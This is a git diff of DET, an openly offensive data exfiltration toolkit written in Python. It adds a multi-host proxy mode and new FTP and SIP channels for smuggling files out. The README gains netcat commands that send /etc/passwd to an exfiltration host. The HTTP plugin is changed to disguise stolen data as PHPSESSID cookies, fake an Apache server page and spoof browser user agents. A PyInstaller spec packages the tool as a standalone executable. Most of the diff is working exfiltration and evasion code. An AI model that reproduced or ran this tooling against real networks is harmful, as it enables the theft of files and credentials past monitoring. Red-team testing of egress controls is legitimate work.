diff --git a/.gitignore b/.gitignore
index 2ce9826..5c86003 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,2 +1,4 @@
*.pyc
-*.pem
\ No newline at end of file
+*.pem
+build
+dist
diff --git a/README.md b/README.md
index 8eb3f63..908c80c 100644
--- a/README.md
+++ b/README.md
@@ -1,3 +1,5 @@
+[![Black Hat Arsenal](https://www.toolswatch.org/badges/arsenal/2016.svg)](https://www.blackhat.com/us-16/arsenal.html#det)
+
DET (extensible) Data Exfiltration Toolkit
=======
@@ -53,51 +55,58 @@ pip install -r requirements.txt --user
# Configuration
In order to use DET, you will need to configure it and add your proper settings (eg. SMTP/IMAP, AES256 encryption
-passphrase and so on). A configuration example file has been provided and is called: ```config-sample.json```
+passphrase, proxies and so on). A configuration example file has been provided and is called: ```config-sample.json```
```json
{
"plugins": {
"http": {
- "target": "192.168.1.101",
- "port": 8080
- },
- "google_docs": {
- "target": "192.168.1.101",
+ "target": "192.168.0.12",
"port": 8080,
+ "proxies": ["192.168.0.13", "192.168.0.14"]
},
+ "google_docs": {
+ "target": "conchwaiter.uk.plak.cc",
+ "port": 8080
+ },
"dns": {
"key": "google.com",
- "target": "192.168.1.101",
- "port": 53
+ "target": "192.168.0.12",
+ "port": 53,
+ "proxies": ["192.168.0.13", "192.168.0.14"]
},
- "gmail": {
- "username": "dataexfil@gmail.com",
- "password": "ReallyStrongPassword",
- "server": "smtp.gmail.com",
- "port": 587
+[...SNIP...]
+ "icmp": {
+ "target": "192.168.0.12",
+ "proxies": ["192.168.0.13", "192.168.0.14"]
},
- "tcp": {
- "target": "192.168.1.101",
- "port": 6969
+ "slack": {
+ "api_token": "xoxb-XXXXXXXXXXX",
+ "chan_id": "XXXXXXXXXXX",
+ "bot_id": "<@XXXXXXXXXXX>:"
},
- "udp": {
- "target": "192.168.1.101",
- "port": 6969
+ "smtp": {
+ "target": "192.168.0.12",
+ "port": 25,
+ "proxies": ["192.168.0.13", "192.168.0.14"]
},
- "twitter": {
- "username": "PaulWebSec",
- "CONSUMER_TOKEN": "XXXXXXXXX",
- "CONSUMER_SECRET": "XXXXXXXXX",
- "ACCESS_TOKEN": "XXXXXXXXX",
- "ACCESS_TOKEN_SECRET": "XXXXXXXXX"
+ "ftp": {
+ "target": "192.168.0.12",
+ "port": 21,
+ "proxies": ["192.168.0.13", "192.168.0.14"]
},
- "icmp": {
- "target": "192.168.1.101"
+ "sip": {
+ "target": "192.168.0.12",
+ "port": 5060,
+ "proxies": ["192.168.0.13", "192.168.0.14"]
}
},
"AES_KEY": "THISISACRAZYKEY",
- "sleep_time": 10
+ "max_time_sleep": 10,
+ "min_time_sleep": 1,
+ "max_bytes_read": 400,
+ "min_bytes_read": 300,
+ "compression": 1
}
```
@@ -108,7 +117,7 @@ passphrase and so on). A configuration example file has been provided and is cal
```bash
python det.py -h
usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE]
- [-L]
+ [-L | -Z]
Data Exfiltration Toolkit (SensePost)
@@ -120,6 +129,7 @@ optional arguments:
-p PLUGIN Plugins to use (eg. '-p dns,twitter')
-e EXCLUDE Plugins to exclude (eg. '-e gmail,icmp')
-L Server mode
+ -Z Proxy mode
```
## Server-side:
@@ -161,6 +171,18 @@ To load every plugin and exclude DNS:
```bash
python det.py -c ./config.json -e dns -f /etc/passwd
```
+You can also listen for files from stdin (e.g output of a netcat listener):
+
+```bash
+nc -lp 1337 | python det.py -c ./config.json -e http -f stdin
+```
+Then send the file to netcat:
+
+```bash
+nc $exfiltration_host 1337 -q 0 < /etc/passwd
+```
+Don't forget netcat's `-q 0` option so that netcat quits once it has finished sending the file.
+
And in PowerShell (HTTP module):
```powershell
@@ -169,6 +191,69 @@ PS C:\Users\user01\Desktop> . .\http_exfil.ps1
PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe'
```
+## Proxy mode:
+
+In this mode the client will proxify the incoming requests towards the final destination.
+The proxies addresses should be set in ```config.json``` file.
+
+```bash
+python det.py -c ./config.json -p dns,icmp -Z
+```
+
+# Standalone package
+
+DET has been adapted in order to run as a standalone executable with the help of [PyInstaller](http://www.pyinstaller.org/).
+
+```bash
+pip install pyinstaller
+```
+
+The spec file ```det.spec``` is provided in order to help you build your executable.
+
+```python
+# -*- mode: python -*-
+
+block_cipher = None
+
+import sys
+sys.modules['FixTk'] = None
+
+a = Analysis(['det.py'],
+ pathex=['.'],
+ binaries=[],
+ datas=[('plugins', 'plugins'), ('config-sample.json', '.')],
+ hiddenimports=['plugins/dns', 'plugins/icmp'],
+ hookspath=[],
+ runtime_hooks=[],
+ excludes=['FixTk', 'tcl', 'tk', '_tkinter', 'tkinter', 'Tkinter'],
+ win_no_prefer_redirects=False,
+ win_private_assemblies=False,
+ cipher=block_cipher)
+pyz = PYZ(a.pure, a.zipped_data,
+ cipher=block_cipher)
+exe = EXE(pyz,
+ a.scripts,
+ a.binaries,
+ a.zipfiles,
+ a.datas,
+ name='det',
+ debug=False,
+ strip=False,
+ upx=True,
+ console=True )
+```
+
+Specify the modules you need to ship with you executable by editing the ```hiddenimports``` array.
+In the example above, PyInstaller will package the DNS and ICMP plugins along with your final executable.
+Finally, launch PyInstaller:
+
+```base
+pyinstaller det.spec
+```
+
+Please note that the number of loaded plugins will reflect on the size of the final executable.
+If you have issues with the generated executable or found a workaround for a tricky situation, please open an issue so this guide can be updated for everyone.
+
# Modules
So far, DET supports multiple protocols, listed here:
@@ -176,29 +261,27 @@ So far, DET supports multiple protocols, listed here:
- [X] HTTP(S)
- [X] ICMP
- [X] DNS
-- [X] SMTP/IMAP (eg. Gmail)
-- [X] Raw TCP
+- [X] SMTP/IMAP (Pure SMTP + Gmail)
+- [X] Raw TCP / UDP
+- [X] FTP
+- [X] SIP
- [X] PowerShell implementation (HTTP, DNS, ICMP, SMTP (used with Gmail))
And other "services":
- [X] Google Docs (Unauthenticated)
- [X] Twitter (Direct Messages)
-
-# Experimental modules
-
-So far, I am busy implementing new modules which are almost ready to ship, including:
-
-- [ ] Skype (95% done)
-- [ ] Tor (80% done)
-- [ ] Github (30/40% done)
+- [X] Slack
# Roadmap
- [X] Add proper encryption (eg. AES-256) Thanks to [ryanohoro](https://github.com/ryanohoro)
- [X] Compression (extremely important!) Thanks to [chokepoint](https://github.com/chokepoint)
+- [X] Add support for C&C-like multi-host file exfiltration (Proxy mode)
+- [ ] Discovery mode (where distributed agents can learn about the presence of each other)
+- [ ] Egress traffic testing
- [ ] Proper data obfuscation and integrating [Cloakify Toolset Toolset](https://github.com/trycatchhcf/cloakify)
-- [ ] FTP, FlickR [LSB Steganography](https://github.com/RobinDavid/LSB-Steganography) and Youtube modules
+- [ ] FlickR [LSB Steganography](https://github.com/RobinDavid/LSB-Steganography) and Youtube modules
# References
@@ -213,7 +296,7 @@ Some pretty cool references/credits to people I got inspired by with their proje
# Contact/Contributing
-You can reach me on Twitter [@PaulWebSec](https://twitter.com/PaulWebSec).
+You can reach me on Twitter [@PaulWebSec](https://twitter.com/PaulWebSec).
Feel free if you want to contribute, clone, fork, submit your PR and so on.
# License
diff --git a/config-sample.json b/config-sample.json
index d0d100d..dbb3a49 100644
--- a/config-sample.json
+++ b/config-sample.json
@@ -2,7 +2,8 @@
"plugins": {
"http": {
"target": "192.168.0.12",
- "port": 8080
+ "port": 8080,
+ "proxies": ["192.168.0.13", "192.168.0.14"]
},
"google_docs": {
"target": "SERVER",
@@ -11,7 +12,8 @@
"dns": {
"key": "google.com",
"target": "192.168.0.12",
- "port": 53
+ "port": 53,
+ "proxies": ["192.168.0.13", "192.168.0.14"]
},
"gmail": {
"username": "dataexfil@gmail.com",
@@ -21,11 +23,13 @@
},
"tcp": {
"target": "192.168.0.12",
- "port": 6969
+ "port": 6969,
+ "proxies": ["192.168.0.13", "192.168.0.14"]
},
"udp": {
"target": "192.168.0.12",
- "port": 6969
+ "port": 6969,
+ "proxies": ["192.168.0.13", "192.168.0.14"]
},
"twitter": {
"username": "PaulWebSec",
@@ -35,12 +39,28 @@
"ACCESS_TOKEN_SECRET": "XXXXXXXXXXX"
},
"icmp": {
- "target": "192.168.0.12"
+ "target": "192.168.0.12",
+ "proxies": ["192.168.0.13", "192.168.0.14"]
},
"slack": {
"api_token": "xoxb-XXXXXXXXXXX",
"chan_id": "XXXXXXXXXXX",
"bot_id": "<@XXXXXXXXXXX>:"
+ },
+ "smtp": {
+ "target": "192.168.0.12",
+ "port": 25,
+ "proxies": ["192.168.0.13", "192.168.0.14"]
+ },
+ "ftp": {
+ "target": "192.168.0.12",
+ "port": 21,
+ "proxies": ["192.168.0.13", "192.168.0.14"]
+ },
+ "sip": {
+ "target": "192.168.0.12",
+ "port": 5060,
+ "proxies": ["192.168.0.13", "192.168.0.14"]
}
},
"AES_KEY": "THISISACRAZYKEY",
diff --git a/det.py b/det.py
index 565426e..b67018c 100644
--- a/det.py
+++ b/det.py
@@ -15,6 +15,10 @@
from os.path import isfile, join
from Crypto.Cipher import AES
from zlib import compress, decompress
+from cStringIO import StringIO
+
+if getattr(sys, 'frozen', False):
+ os.chdir(sys._MEIPASS)
KEY = ""
MIN_TIME_SLEEP = 1
@@ -89,11 +93,10 @@ def aes_decrypt(message, key=KEY):
return None
# Do a md5sum of the file
-def md5(fname):
+def md5(f):
hash = hashlib.md5()
- with open(fname) as f:
- for chunk in iter(lambda: f.read(4096), ""):
- hash.update(chunk)
+ for chunk in iter(lambda: f.read(4096), ""):
+ hash.update(chunk)
return hash.hexdigest()
@@ -180,7 +183,8 @@ def register_file(self, message):
files[jobid]['checksum'] = message[3].lower()
files[jobid]['filename'] = message[1].lower()
files[jobid]['data'] = []
- files[jobid]['packets_number'] = []
+ files[jobid]['packets_order'] = []
+ files[jobid]['packets_len'] = -1
warning("Register packet for file %s with checksum %s" %
(files[jobid]['filename'], files[jobid]['checksum']))
@@ -189,6 +193,9 @@ def retrieve_file(self, jobid):
fname = files[jobid]['filename']
filename = "%s.%s" % (fname.replace(
os.path.pathsep, ''), time.strftime("%Y-%m-%d.%H:%M:%S", time.gmtime()))
+ #Reorder packets before reassembling / ugly one-liner hack
+ files[jobid]['packets_order'], files[jobid]['data'] = \
+ [list(x) for x in zip(*sorted(zip(files[jobid]['packets_order'], files[jobid]['data'])))]
content = ''.join(str(v) for v in files[jobid]['data']).decode('hex')
content = aes_decrypt(content, self.KEY)
if COMPRESSION:
@@ -196,7 +203,7 @@ def retrieve_file(self, jobid):
f = open(filename, 'w')
f.write(content)
f.close()
- if (files[jobid]['checksum'] == md5(filename)):
+ if (files[jobid]['checksum'] == md5(open(filename))):
ok("File %s recovered" % (fname))
else:
warning("File %s corrupt!" % (fname))
@@ -216,13 +223,21 @@ def retrieve_data(self, data):
self.register_file(message)
# done packet
elif (message[2] == "DONE"):
- self.retrieve_file(jobid)
+ files[jobid]['packets_len'] = int(message[1])
+ #Check if all packets have arrived
+ if files[jobid]['packets_len'] == len(files[jobid]['data']):
+ self.retrieve_file(jobid)
+ else:
+ warning("[!] Received the last packet, but some are still missing. Waiting for the rest...")
# data packet
else:
# making sure there's a jobid for this file
- if (jobid in files and message[1] not in files[jobid]['packets_number']):
+ if (jobid in files and message[1] not in files[jobid]['packets_order']):
files[jobid]['data'].append(''.join(message[2:]))
- files[jobid]['packets_number'].append(message[1])
+ files[jobid]['packets_order'].append(int(message[1]))
+ #In case this packet was the last missing one
+ if files[jobid]['packets_len'] == len(files[jobid]['data']):
+ self.retrieve_file(jobid)
except:
raise
pass
@@ -236,10 +251,22 @@ def __init__(self, exfiltrate, file_to_send):
self.exfiltrate = exfiltrate
self.jobid = ''.join(random.sample(
string.ascii_letters + string.digits, 7))
- self.checksum = md5(file_to_send)
+ self.checksum = '0'
self.daemon = True
def run(self):
+ # checksum
+ if self.file_to_send == 'stdin':
+ file_content = sys.stdin.read()
+ buf = StringIO(file_content)
+ e = StringIO(file_content)
+ else:
+ file_content = open(self.file_to_send, 'rb').read()
+ buf = StringIO(file_content)
+ e = StringIO(file_content)
+ self.checksum = md5(buf)
+ del file_content
+
# registering packet
plugin_name, plugin_send_function = self.exfiltrate.get_random_plugin()
ok("Using {0} as transport method".format(plugin_name))
@@ -255,7 +282,6 @@ def run(self):
# sending the data
f = tempfile.SpooledTemporaryFile()
- e = open(self.file_to_send, 'rb')
data = e.read()
if COMPRESSION:
data = compress(data)
@@ -303,7 +329,7 @@ def main():
description='Data Exfiltration Toolkit (SensePost)')
parser.add_argument('-c', action="store", dest="config", default=None,
help="Configuration file (eg. '-c ./config-sample.json')")
- parser.add_argument('-f', action="store", dest="file",
+ parser.add_argument('-f', action="append", dest="file",
help="File to exfiltrate (eg. '-f /etc/passwd')")
parser.add_argument('-d', action="store", dest="folder",
help="Folder to exfiltrate (eg. '-d /etc/')")
@@ -311,8 +337,11 @@ def main():
default=None, help="Plugins to use (eg. '-p dns,twitter')")
parser.add_argument('-e', action="store", dest="exclude",
default=None, help="Plugins to exclude (eg. '-e gmail,icmp')")
- parser.add_argument('-L', action="store_true",
+ listenMode = parser.add_mutually_exclusive_group()
+ listenMode.add_argument('-L', action="store_true",
dest="listen", default=False, help="Server mode")
+ listenMode.add_argument('-Z', action="store_true",
+ dest="proxy", default=False, help="Proxy mode")
results = parser.parse_args()
if (results.config is None):
@@ -335,12 +364,15 @@ def main():
KEY = config['AES_KEY']
app = Exfiltration(results, KEY)
- # LISTEN MODE
- if (results.listen):
+ # LISTEN/PROXY MODE
+ if (results.listen or results.proxy):
threads = []
plugins = app.get_plugins()
for plugin in plugins:
- thread = threading.Thread(target=plugins[plugin]['listen'])
+ if results.listen:
+ thread = threading.Thread(target=plugins[plugin]['listen'])
+ elif results.proxy:
+ thread = threading.Thread(target=plugins[plugin]['proxy'])
thread.daemon = True
thread.start()
threads.append(thread)
@@ -355,7 +387,7 @@ def main():
f in listdir(results.folder)
if isfile(join(results.folder, f))]
else:
- files = [results.file]
+ files = list(set(results.file))
threads = []
for file_to_send in files:
diff --git a/det.spec b/det.spec
new file mode 100644
index 0000000..7f281b4
--- /dev/null
+++ b/det.spec
@@ -0,0 +1,30 @@
+# -*- mode: python -*-
+
+block_cipher = None
+
+import sys
+sys.modules['FixTk'] = None
+
+a = Analysis(['det.py'],
+ pathex=['.'],
+ binaries=[],
+ datas=[('plugins', 'plugins'), ('config-sample.json', '.')],
+ hiddenimports=['plugins/dns', 'plugins/icmp'],
+ hookspath=[],
+ runtime_hooks=[],
+ excludes=['FixTk', 'tcl', 'tk', '_tkinter', 'tkinter', 'Tkinter'],
+ win_no_prefer_redirects=False,
+ win_private_assemblies=False,
+ cipher=block_cipher)
+pyz = PYZ(a.pure, a.zipped_data,
+ cipher=block_cipher)
+exe = EXE(pyz,
+ a.scripts,
+ a.binaries,
+ a.zipfiles,
+ a.datas,
+ name='det',
+ debug=False,
+ strip=False,
+ upx=True,
+ console=True )
diff --git a/plugins/dns.py b/plugins/dns.py
index 03207db..61885fd 100644
--- a/plugins/dns.py
+++ b/plugins/dns.py
@@ -1,68 +1,120 @@
-from dnslib import *
-try:
- from scapy.all import *
-except:
- print "You should install Scapy if you run the server.."
+from dnslib import DNSRecord
+import socket
+from dpkt import dns
+from random import choice
app_exfiltrate = None
config = None
buf = {}
-
-def handle_dns_packet(x):
+def handle_dns_query(qname):
global buf
try:
- qname = x.payload.payload.payload.qd.qname
if (config['key'] in qname):
app_exfiltrate.log_message(
'info', '[dns] DNS Query: {0}'.format(qname))
- data = qname.split(".")[0]
- jobid = data[0:7]
- data = data.replace(jobid, '')
+ jobid = qname[0:7]
+ data = ''.join(qname[7:].replace(config['key'], '').split('.'))
# app_exfiltrate.log_message('info', '[dns] jobid = {0}'.format(jobid))
# app_exfiltrate.log_message('info', '[dns] data = {0}'.format(data))
if jobid not in buf:
buf[jobid] = []
if data not in buf[jobid]:
buf[jobid].append(data)
- if (len(qname) < 68):
+ #Handle the case where the last label's length == 1
+ last_label_len = (252 - len(config['key'])) % 64
+ max_query = 252 if last_label_len == 1 else 253
+ if (len(qname) < max_query):
app_exfiltrate.retrieve_data(''.join(buf[jobid]).decode('hex'))
buf[jobid] = []
except Exception, e:
# print e
pass
+def relay_dns_query(domain):
+ target = config['target']
+ port = config['port']
+ app_exfiltrate.log_message(
+ 'info', "[proxy] [dns] Relaying dns query to {0}".format(target))
+ q = DNSRecord.question(domain)
+ try:
+ q.send(target, port, timeout=0.01)
+ except:
+ pass
+
+def sniff(handler):
+ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ IP = "0.0.0.0"
+ PORT = 53
+ sock.bind((IP, PORT))
+ while True:
+ try:
+ data, addr = sock.recvfrom(65536)
+ query = dns.DNS(data)
+ for qname in query.qd:
+ handler(qname.name + '.')
+ except:
+ sock.shutdown()
+ sock.close()
+#Send data over multiple labels (RFC 1034)
+#Max query is 253 characters long (textual representation)
+#Max label length is 63 bytes
def send(data):
- target = config['target']
+ if config.has_key('proxies') and config['proxies'] != [""]:
+ targets = [config['target']] + config['proxies']
+ else:
+ targets = [config['target']]
port = config['port']
jobid = data.split("|!|")[0]
data = data.encode('hex')
+ domain = ""
+
+ #Calculate the remaining length available for our payload
+ rem = 252 - len(config['key'])
+ #Number of 63 bytes labels
+ no_labels = rem / 64 #( 63 + len('.') )
+ #Length of the last remaining label
+ last_label_len = (rem % 64) - 1
+
while data != "":
- tmp = data[:66 - len(config['key']) - len(jobid)]
- data = data.replace(tmp, '')
- domain = "{0}{1}.{2}".format(jobid, tmp, config['key'])
- app_exfiltrate.log_message(
- 'info', "[dns] Sending {0} to {1}".format(domain, target))
+ data = jobid + data
+ for i in range(0, no_labels):
+ if data == "": break
+ label = data[:63]
+ data = data[63:]
+ domain += label + '.'
+ if data == "":
+ domain += config['key']
+ else:
+ if last_label_len < 1:
+ domain += config['key']
+ else:
+ label = data[:last_label_len]
+ data = data[last_label_len:]
+ domain += label + '.' + config['key']
q = DNSRecord.question(domain)
+ domain = ""
+ target = choice(targets)
try:
q.send(target, port, timeout=0.01)
except:
# app_exfiltrate.log_message('warning', "[dns] Failed to send DNS request")
pass
-
def listen():
app_exfiltrate.log_message(
'info', "[dns] Waiting for DNS packets for domain {0}".format(config['key']))
- sniff(filter="udp and port {}".format(
- config['port']), prn=handle_dns_packet)
+ sniff(handler=handle_dns_query)
+def proxy():
+ app_exfiltrate.log_message(
+ 'info', "[proxy] [dns] Waiting for DNS packets for domain {0}".format(config['key']))
+ sniff(handler=relay_dns_query)
class Plugin:
-
def __init__(self, app, conf):
global app_exfiltrate, config
config = conf
- app.register_plugin('dns', {'send': send, 'listen': listen})
+ app.register_plugin('dns', {'send': send, 'listen': listen, 'proxy': proxy})
app_exfiltrate = app
diff --git a/plugins/ftp.py b/plugins/ftp.py
new file mode 100644
index 0000000..0a03679
--- /dev/null
+++ b/plugins/ftp.py
@@ -0,0 +1,89 @@
+import logging
+from ftplib import FTP
+from pyftpdlib.handlers import FTPHandler
+from pyftpdlib.servers import FTPServer
+from pyftpdlib.authorizers import DummyAuthorizer
+from random import choice
+import base64
+
+app_exfiltrate = None
+config = None
+
+user = "user"
+passwd = "5up3r5tr0ngP455w0rD"
+
+class CustomFTPHandler(FTPHandler):
+
+ def ftp_MKD(self, path):
+ app_exfiltrate.log_message('info', "[ftp] Received MKDIR query from {}".format(self.addr))
+ data = str(path).split('/')[-1]
+ if self.handler == "retrieve":
+ app_exfiltrate.retrieve_data(base64.b64decode(data))
+ elif self.handler == "relay":
+ relay_ftp_mkdir(data)
+ # Recreate behavior of the original ftp_MKD function
+ line = self.fs.fs2ftp(path)
+ self.respond('257 "%s" directory created.' % line.replace('"', '""'))
+ return path
+
+def send(data):
+ if config.has_key('proxies') and config['proxies'] != [""]:
+ targets = [config['target']] + config['proxies']
+ target = choice(targets)
+ else:
+ target = config['target']
+ port = config['port']
+ try:
+ ftp = FTP()
+ ftp.connect(target, port)
+ ftp.login(user, passwd)
+ except:
+ pass
+
+ try:
+ ftp.mkd(base64.b64encode(data))
+ except:
+ pass
+
+def relay_ftp_mkdir(data):
+ target = config['target']
+ port = config['port']
+ app_exfiltrate.log_message('info', "[proxy] [ftp] Relaying MKDIR query to {}".format(target))
+ try:
+ ftp = FTP()
+ ftp.connect(target, port)
+ ftp.login(user, passwd)
+ except:
+ pass
+ try:
+ ftp.mkd(data)
+ except:
+ pass
+
+def init_ftp(data_handler):
+ logging.basicConfig(filename="/dev/null", format="", level=logging.INFO)
+ port = config['port']
+ authorizer = DummyAuthorizer()
+ authorizer.add_user(user, passwd, homedir="/tmp", perm='elradfmw')
+
+ handler = CustomFTPHandler
+ handler.authorizer = authorizer
+ handler.handler = data_handler
+ server = FTPServer(('', port), handler)
+ server.serve_forever()
+
+def listen():
+ app_exfiltrate.log_message('info', "[ftp] Listening for FTP requests")
+ init_ftp("retrieve")
+
+def proxy():
+ app_exfiltrate.log_message('info', "[proxy] [ftp] Listening for FTP requests")
+ init_ftp("relay")
+
+class Plugin:
+
+ def __init__(self, app, conf):
+ global app_exfiltrate, config
+ app_exfiltrate = app
+ config = conf
+ app.register_plugin('ftp', {'send': send, 'listen': listen, 'proxy': proxy})
diff --git a/plugins/gmail.py b/plugins/gmail.py
index a76fb4e..bfbcfb2 100644
--- a/plugins/gmail.py
+++ b/plugins/gmail.py
@@ -66,6 +66,10 @@ def listen():
time.sleep(2)
+def proxy():
+ app_exfiltrate.log_message('info', "[proxy] [gmail] proxy mode unavailable (useless) for gmail plugin...")
+
+
class Plugin:
def __init__(self, app, options):
@@ -74,5 +78,5 @@ def __init__(self, app, options):
gmail_user = options['username']
server = options['server']
server_port = options['port']
- app.register_plugin('gmail', {'send': send, 'listen': listen})
+ app.register_plugin('gmail', {'send': send, 'listen': listen, 'proxy': proxy})
app_exfiltrate = app
diff --git a/plugins/google_docs.py b/plugins/google_docs.py
index 5c25694..726e93e 100644
--- a/plugins/google_docs.py
+++ b/plugins/google_docs.py
@@ -13,6 +13,11 @@ def send(data):
'info', "[http] Sending {0} bytes to {1}".format(len(data), target))
requests.get(target)
+def listen():
+ app_exfiltrate.log_message('info', "[Google docs] Listen mode not implemented")
+
+def proxy():
+ app_exfiltrate.log_message('info', "[proxy] [Google docs] proxy mode not implemented")
class Plugin:
@@ -20,4 +25,4 @@ def __init__(self, app, conf):
global app_exfiltrate, config
config = conf
app_exfiltrate = app
- app.register_plugin('google_docs', {'send': send})
+ app.register_plugin('google_docs', {'send': send, 'listen': listen, 'proxy': proxy})
diff --git a/plugins/http.py b/plugins/http.py
index ea48e20..f940c1b 100644
--- a/plugins/http.py
+++ b/plugins/http.py
@@ -2,64 +2,111 @@
import base64
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urllib
+from random import choice
+import platform
+
+host_os = platform.system()
+
+if host_os == "Linux":
+ user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
+elif host_os == "Windows":
+ user_agent = "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko"
+else:
+ user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7"
+
+headers = requests.utils.default_headers()
+headers.update({'User-Agent': user_agent})
+
+html_file = open('plugins/misc/default_apache_page.html', 'r')
+html_content = html_file.read()
config = None
app_exfiltrate = None
-
class S(BaseHTTPRequestHandler):
-
def _set_headers(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
+ self.wfile.write(html_content)
+
+ def version_string(self):
+ return 'Apache/2.4.10'
def do_POST(self):
self._set_headers()
content_len = int(self.headers.getheader('content-length', 0))
post_body = self.rfile.read(content_len)
- tmp = post_body.split('=')
+ tmp = post_body.split('=', 1)
if (tmp[0] == "data"):
try:
data = base64.b64decode(urllib.unquote(tmp[1]))
- app_exfiltrate.retrieve_data(data)
+ self.server.handler(data)
except Exception, e:
print e
pass
def do_GET(self):
- string = '/'.join(self.path.split('/')[1:])
self._set_headers()
- try:
- data = base64.b64decode(string)
- app_exfiltrate.retrieve_data(data)
- except Exception, e:
- pass
-
+ if self.headers.has_key('Cookie'):
+ cookie = self.headers['Cookie']
+ string = cookie.split('=', 1)[1].strip()
+ try:
+ data = base64.b64decode(string)
+ self.server.handler(data)
+ except Exception, e:
+ print e
+ pass
def send(data):
- target = "http://{}:{}".format(config['target'], config['port'])
+ if config.has_key('proxies') and config['proxies'] != [""]:
+ targets = [config['target']] + config['proxies']
+ target = "http://{}:{}".format(choice(targets), config['port'])
+ else:
+ target = "http://{}:{}".format(config['target'], config['port'])
app_exfiltrate.log_message(
'info', "[http] Sending {0} bytes to {1}".format(len(data), target))
- data_to_send = {'data': base64.b64encode(data)}
- requests.post(target, data=data_to_send)
+ #Randomly choose between GET and POST
+ if choice([True, False]):
+ data_to_send = {'data': base64.b64encode(data)}
+ requests.post(target, data=data_to_send, headers=headers)
+ else:
+ cookies = dict(PHPSESSID=base64.b64encode(data))
+ requests.get(target, cookies=cookies, headers=headers)
+def relay_http_request(data):
+ target = "http://{}:{}".format(config['target'], config['port'])
+ app_exfiltrate.log_message(
+ 'info', "[proxy] [http] Relaying {0} bytes to {1}".format(len(data), target))
+ #Randomly choose between GET and POST
+ if choice([True, False]):
+ data_to_send = {'data': base64.b64encode(data)}
+ requests.post(target, data=data_to_send, headers=headers)
+ else:
+ cookies = dict(PHPSESSID=base64.b64encode(data))
+ requests.get(target, cookies=cookies, headers=headers)
-def listen():
- app_exfiltrate.log_message('info', "[http] Starting httpd...")
+def server(data_handler):
try:
server_address = ('', config['port'])
httpd = HTTPServer(server_address, S)
+ httpd.handler = data_handler
httpd.serve_forever()
except:
app_exfiltrate.log_message(
- 'warning', "[http] Couldn't bind http daemon on port {}".format(port))
+ 'warning', "[http] Couldn't bind http daemon on port {}".format(config['port']))
+def listen():
+ app_exfiltrate.log_message('info', "[http] Starting httpd...")
+ server(app_exfiltrate.retrieve_data)
-class Plugin:
+def proxy():
+ app_exfiltrate.log_message('info', "[proxy] [http] Starting httpd...")
+ server(relay_http_request)
+class Plugin:
def __init__(self, app, conf):
global app_exfiltrate, config
config = conf
app_exfiltrate = app
- app.register_plugin('http', {'send': send, 'listen': listen})
+ app.register_plugin('http', {'send': send, 'listen': listen, 'proxy': proxy})
diff --git a/plugins/icmp.py b/plugins/icmp.py
index 9b93a4e..686235b 100644
--- a/plugins/icmp.py
+++ b/plugins/icmp.py
@@ -1,41 +1,91 @@
-import logging
-logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
-from scapy import all as scapy
import base64
+import socket
+from random import choice, randint
+from dpkt import ip, icmp
config = None
app_exfiltrate = None
+def send_icmp(dst, data):
+ try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
+ except:
+ app_exfiltrate.log_message('warning', "ICMP plugin requires root privileges")
+ sys.exit()
+ ip_dst = socket.gethostbyname(dst)
+ echo = icmp.ICMP.Echo()
+ echo.id = randint(0, 0xffff)
+ echo.seq = 1
+ echo.data = data
+ icmp_pkt = icmp.ICMP()
+ icmp_pkt.type = icmp.ICMP_ECHO
+ icmp_pkt.data = echo
+ try:
+ s.sendto(icmp_pkt.pack(), (ip_dst, 0))
+ except:
+ app_exfiltrate.log_message('warning', "ICMP plugin requires root privileges")
+ pass
+ s.close()
def send(data):
+ if config.has_key('proxies') and config['proxies'] != [""]:
+ targets = [config['target']] + config['proxies']
+ target = choice(targets)
+ else:
+ target = config['target']
data = base64.b64encode(data)
app_exfiltrate.log_message(
- 'info', "[icmp] Sending {} bytes with ICMP packet".format(len(data)))
- scapy.sendp(scapy.Ether() /
- scapy.IP(dst=config['target']) / scapy.ICMP() / data, verbose=0)
-
+ 'info', "[icmp] Sending {0} bytes with ICMP packet to {1}".format(len(data), target))
+ send_icmp(target, data)
def listen():
app_exfiltrate.log_message('info', "[icmp] Listening for ICMP packets..")
# Filter for echo requests only to prevent capturing generated replies
- scapy.sniff(filter="icmp and icmp[0]=8", prn=analyze)
+ sniff(handler=analyze)
+def sniff(handler):
+ """ Sniffs packets and looks for icmp requests """
+ sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
+ sock.bind(('', 1))
+ while True :
+ try:
+ data = sock.recv(65535)
+ ip_pkt = ip.IP()
+ ip_pkt.unpack(data)
+ icmp_pkt = ip_pkt.data
+ if icmp_pkt.type == icmp.ICMP_ECHO:
+ ip_src = socket.inet_ntoa(ip_pkt.src)
+ ip_dst = socket.inet_ntoa(ip_pkt.dst)
+ payload = icmp_pkt.data.data
+ handler(payload, ip_src, ip_dst)
+ except:
+ sock.close()
-def analyze(packet):
- src = packet.payload.src
- dst = packet.payload.dst
+def analyze(payload, src, dst):
try:
app_exfiltrate.log_message(
- 'info', "[icmp] Received ICMP packet from: {0} to {1}".format(src, dst))
- app_exfiltrate.retrieve_data(base64.b64decode(packet.load))
+ 'info', "[icmp] Received ICMP packet from {0} to {1}".format(src, dst))
+ app_exfiltrate.retrieve_data(base64.b64decode(payload))
except:
pass
+def relay_icmp_packet(payload, src, dst):
+ target = config['target']
+ try:
+ app_exfiltrate.log_message(
+ 'info', "[proxy] [icmp] Relaying icmp packet to {0}".format(target))
+ send_icmp(target, payload)
+ except:
+ pass
-class Plugin:
+def proxy():
+ app_exfiltrate.log_message(
+ 'info', "[proxy] [icmp] Listening for icmp packets")
+ sniff(handler=relay_icmp_packet)
+class Plugin:
def __init__(self, app, conf):
global app_exfiltrate, config
app_exfiltrate = app
config = conf
- app.register_plugin('icmp', {'send': send, 'listen': listen})
